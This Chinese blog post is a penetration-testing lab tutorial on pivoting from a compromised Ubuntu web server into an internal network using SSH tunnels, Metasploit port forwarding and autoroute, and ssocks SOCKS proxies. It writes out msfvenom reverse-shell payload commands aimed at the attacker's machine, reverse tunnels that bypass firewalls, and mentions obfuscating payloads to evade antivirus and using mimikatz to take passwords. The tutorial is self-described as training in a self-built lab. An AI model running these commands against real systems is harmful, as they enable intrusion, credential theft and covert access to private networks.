文章来源:“大余xiyou” 博客
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
0x01 前言
本次介绍的是在拿站获得webshell提权后,如何进一步建立隧道的文章,这是地基篇章,都是基础必会技术,不会很深入,废话不多说,化繁为简,渗透!
注意:
最重要的是思路,思路可以套用在各种各样的方法内,工具千万种,用法都是次要的!!
0x02 环境介绍
攻击设备:kali-2020.4
外网IP地址:192.168.175.145
Web服务器:Ubuntu.20.04.1
外网IP地址:192.168.175.153
内网IP地址:10.10.1.7
数据库和内网服务器:windows2003
内网IP地址:10.10.1.6
外网网关:192.168.175.2
目前数据库和内网服务器在内网环境,kali只能访问web服务器并拿到了webshell提权成功,由于web服务器功能权限局限性大,本篇文章讲解利用SSH隧道建立kali和windwos2003之间的连接,并最大限制的进一步渗透内网环境。
0x03 SSH隧道
目前已经获得了web服务器乌班图的webshell权限。这里如何拿webshell,前期文章都有讲!
1、ssh正向连接
命令如下,意思是:路由回环地址0+6666端口建立内网服务器80端口隧道,建立的中间条件是ssh访问协议。
ssh -CNfL 0.0.0.0:6666:10.10.1.6:80 dayu@127.0.0.1
#回环地址+端口+正向隧道地址+地址端口 +本地ssh登录地址
可看到通过正向连接访问到了内网服务器dayu-test.php页面,回显数据表明连接成功。
2、ssh反向连接
命令如下,内网服务器和kali是无法通讯的,利用ssh反向代理将本地22端口数据量映射到8888端口上。
ssh -qTfnN -R 8888:127.0.0.1:22 kali@192.168.175.145
反向代理这里不建议用,但是也和大家讲解下,主要作用在于通过公网的主机打通穿透两个不相通的局域网。这里能跳过防火墙限制,但是会话只要一中断就再也连接不上了。
3、ssh开启sockes代理
这种方法是SSH隧道中最暴力的方法,直接通过配置浏览器、proxychan、Proxifier等等,配置它们的sockes5后就可以直接使用代理流量上网了,对于VPS较实用。
ssh -D 端口 user@theserver
0x04 端口转发
这里讲解的是利用metaspolit进行端口转发和映射。利用msfvenom生成shell,然后base64等方法混淆加密免杀上传,反弹回kali-MSF。免杀跳过,后期会讲解~这是站在前言基础上,拿到了乌班图的shell。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.175.145 LPORT=1037 -f elf > dayu.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.175.145 lport=1037 -f elf -o shell
1、端口映射
portfwd list #查看列表
portfwd flush #清空列表
portfwd add -L 192.168.175.145 -l 8089 -p 80 -r 10.10.1.6
可看到成功将内网服务器的10.10.1.6的80端口映射到了本地kali的8089端口上。通过本地访问8089端口可以直接访问到内网服务器80页面,这是一种思路,在内网服务器存在不同服务可以提权的情况下,都可以转发~
这里用得比较多的还是利用msf的EXP拿shell后,继续后渗透~
2、端口转发
端口转发到本地是在特殊情况下,或者在shell上无法更好的执行,或者需要远程到对方桌面上去进行进一步的操作等等,这里介绍了MSF端口转发到3389上,进行远程登录。
portfwd add -l 5555 -p 3389 -r 192.168.175.153
rdesktop 127.1.1.0:8090
成功将端口3389转发到本地8090端口上。可看到在kali上运行rdesktop后成功通过8090端口登录到对方的3389远程桌面上,这里密码可以上传mimikatz获得密码…
0x05 socket隧道
Socket隧道比SSH隧道应用更广范,以及使用起来简单,该方法可以直接绕过防火墙设备进行进一步内网穿透。
1、下载安装ssocks
首先需要下载:(kali2020.4和web服务器都需要安装)
http://sourceforge.net/projects/ssocks/
下载完成后进行解压并执行,然后会出现SRC目录,所有的隧道文件都在该目录下,这里操作主要用到rcsocks、rssocks。
tar zxvf ssocks-0.0.14.tar.gz
./configure && make #进行编辑并生成文件
2、执行反向代理
本地通过rcsocks将端口3333和2222端口建立连接通道,等待远程Socks5服务器访问本地2222端口即可。
./rcsocks -l 3333 -p 2222 -vv
通过rssocks访问攻击者kali建立的2222端口,这样socket隧道就建立成功了,该隧道可以通过代理形式互相访问。
./rssocks -s 192.168.175.145:2222 -vv
下面还需要一些链接代理的工具,firefox浏览器、proxychains、proxifire都可以,这里演示proxychains。
apt install proxychains #安装
接下来配置下vi /etc/proxychains4.conf,加个sockes即可:socks5 127.0.0.1 2222
这里功能很多,这是一个思路,这里遇到了个问题:gcc编译的socks文件在gdb研究调用的时候,出现了错误,段错误 (核心已转储)将栈堆大小修改还是未解决,目前是乌班图的系统,先撂这里吧这问题,以后遇到了处理。
该方法可以穿越防火墙、各种限制进行流量输出,非常实用。
0x06 跨路由穿透
进一步内网穿透。该方法还是依照最前面的拓扑图进行演示,该思路讲解的是在网关是192.168.175.2不通内网10.10.1.0段的情况下,攻击者kali如何跨路由进行连接到内网服务器,并对内网服务器进行渗透行为操作。
1、查看网卡信息
可看到获得shell的是双网卡的web服务器。
ifconfig
2、查看路由状态
执行以下命令查看当前用户及路由等信息如下:
getuid #查看到当前用户是[email protected]
run get_local_subnets #查看当前路由信息
Local subnet: 10.10.1.0/255.255.255.0
Local subnet: 192.168.175.0/255.255.255.0
可看到未添加过任何路由信息,这边进行添加!
run autoroute –p #查看是否添加过路由信息
3、添加本地路由信息
前面通过查看到路由信息10.10.1.0/24段,这里添加即可,可看到成功在本地添加了路由10.10.1.0/24!!
run autoroute -s 10.10.1.0/24 #添加路由
4、msf-socks4代理
background #退出session会话界面,session依旧维持状态,session +数号即可返回
use auxiliary/server/socks4a #选择sockes4代理模块
SRVHOST 0.0.0.0 #本地默认
SRVPORT 1080 #端口可以自行更改,代理端口
run成功执行,该思路是复用了session 1中的shell,在本地添加了新路由后,对本地的所有路由进行了sockes4流量代理。
5、修改本地代理走向
vi /etc/proxychains4.conf #添加socks4代理流量
6、成功穿透
可看到通过proxychains代理进行sockes4流量登录了firefox浏览器后,直接在浏览器中走sockes4流量进行路由转发后登录到了内网服务器上,成功实现了内网穿透。
proxychains firefox #走代理流量打开软件
这里还可以proxychains+nmap、hydra、sqlmap等等等支持挺多的软件,当然这里更推荐走Proxifier全局代理飞起,这里不往下教了,学习的是思路!!
0x07 总结另外思路
这里我没有写最喜欢的nc思路,因为估计大家都会用,也非常简单!下面我在提一些我还会的一些端口转发、代理等等内网穿透的工具吧…
Proxifier、reGeorg、xsocket、nc、Lcx、Frp、IPsec、ngrok,能脑子记起来的就这些,其他都不记得了~~工具太多了,各有各的好用之处,当人会一两款就够用了,主要的是思路,渗透过程中会遇到各种各样的环境,好好加油吧~~
以上的方法都是最简单的,也是基础,这里的思路学会了穿透防火墙,穿透各种设备都不成问题,但是别想着不被发现…这些都会在流量中体现到行为特征,只要想抓是跑不掉的…
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
如有侵权,请联系删除
好文推荐